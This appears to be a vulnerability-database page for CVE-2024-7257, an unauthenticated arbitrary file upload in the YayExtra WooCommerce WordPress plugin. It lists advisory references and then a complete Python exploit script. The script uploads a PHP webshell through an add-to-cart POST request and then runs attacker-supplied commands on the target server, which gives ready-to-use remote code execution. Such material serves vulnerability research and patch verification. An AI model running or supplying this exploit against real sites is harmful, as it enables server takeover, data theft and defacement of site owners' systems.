| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2024-7257 | 3 Aug 202414:15 | – | circl | |
| WordPress plugin YayExtra 安全漏洞 | 3 Aug 202400:00 | – | cnnvd | |
| CVE-2024-7257 | 3 Aug 202409:37 | – | cve | |
| CVE-2024-7257 YayExtra – WooCommerce Extra Product Options <= 1.3.7 - Unauthenticated Arbitrary File Upload via handle_upload_file Function | 3 Aug 202409:37 | – | cvelist | |
| EUVD-2024-48204 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-7257 | 3 Aug 202410:15 | – | nvd | |
| WordPress YayExtra plugin <= 1.3.7 - Unauthenticated Arbitrary File Upload via handle_upload_file Function vulnerability | 5 Aug 202402:32 | – | patchstack | |
| WordPress YayExtra Plugin <= 1.3.7 is vulnerable to Arbitrary File Upload | 5 Aug 202400:00 | – | patchstack | |
| PT-2024-38214 · WordPress · Yayextra – Woocommerce Extra Product Options | 3 Aug 202400:00 | – | ptsecurity | |
| CVE-2024-7257 | 5 Feb 202511:54 | – | redhatcve |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin YayExtra (WooCommerce Extra Product Options) <= 1.3.6 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/yayextra/
# Software Link: https://downloads.wordpress.org/plugin/yayextra.1.3.6.zip
# Version: 1.3.6 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-7257
"""
YayExtra <= 1.3.6 hooks the WooCommerce add-to-cart validation (ProductPage.php) and, when the
request carries option_field_data files, calls wp_handle_upload($file, ['test_form'=>false,
'test_type'=>false]) with NO extension/MIME validation (ProductPage.php:1417). An unauthenticated
add-to-cart POST with a nested option_field_data[.][.] .php file lands a webshell in
wp-content/uploads/yaye_product_option_uploads/<fixed-hash>/ -> RCE.
Prior state: WooCommerce active + one published product (supply its add-to-cart id).
"""
import argparse, sys, re
import requests
requests.packages.urllib3.disable_warnings()
TOK = "YAY_PWNED"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--product-path", default="/product/alpha-widget/")
ap.add_argument("--product-id", default="50")
ap.add_argument("--cmd", default="id")
ap.add_argument("--hashdir", default="19323d118fed0230e4d5f89048279972")
a = ap.parse_args(); base = a.target.rstrip("/")
s = requests.Session(); s.verify = False
shell = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
r = s.post(base + a.product_path,
files={"option_field_data[0][0]": ("shell.php", shell, "application/octet-stream")},
data={"add-to-cart": a.product_id, "option_field_data[0][0]": "x", "quantity": "1"}, timeout=30)
print(f"[*] add-to-cart upload -> HTTP {r.status_code}")
u = base + "/wp-content/uploads/yaye_product_option_uploads/%s/shell.php" % a.hashdir
rr = s.get(u, params={"c": a.cmd}, timeout=15)
if TOK in rr.text:
print(f"\n[+] RCE CONFIRMED at {u}\n{rr.text.split(TOK+':')[1].strip()}"); return 0
print(f"\n[-] not confirmed ({u})"); return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation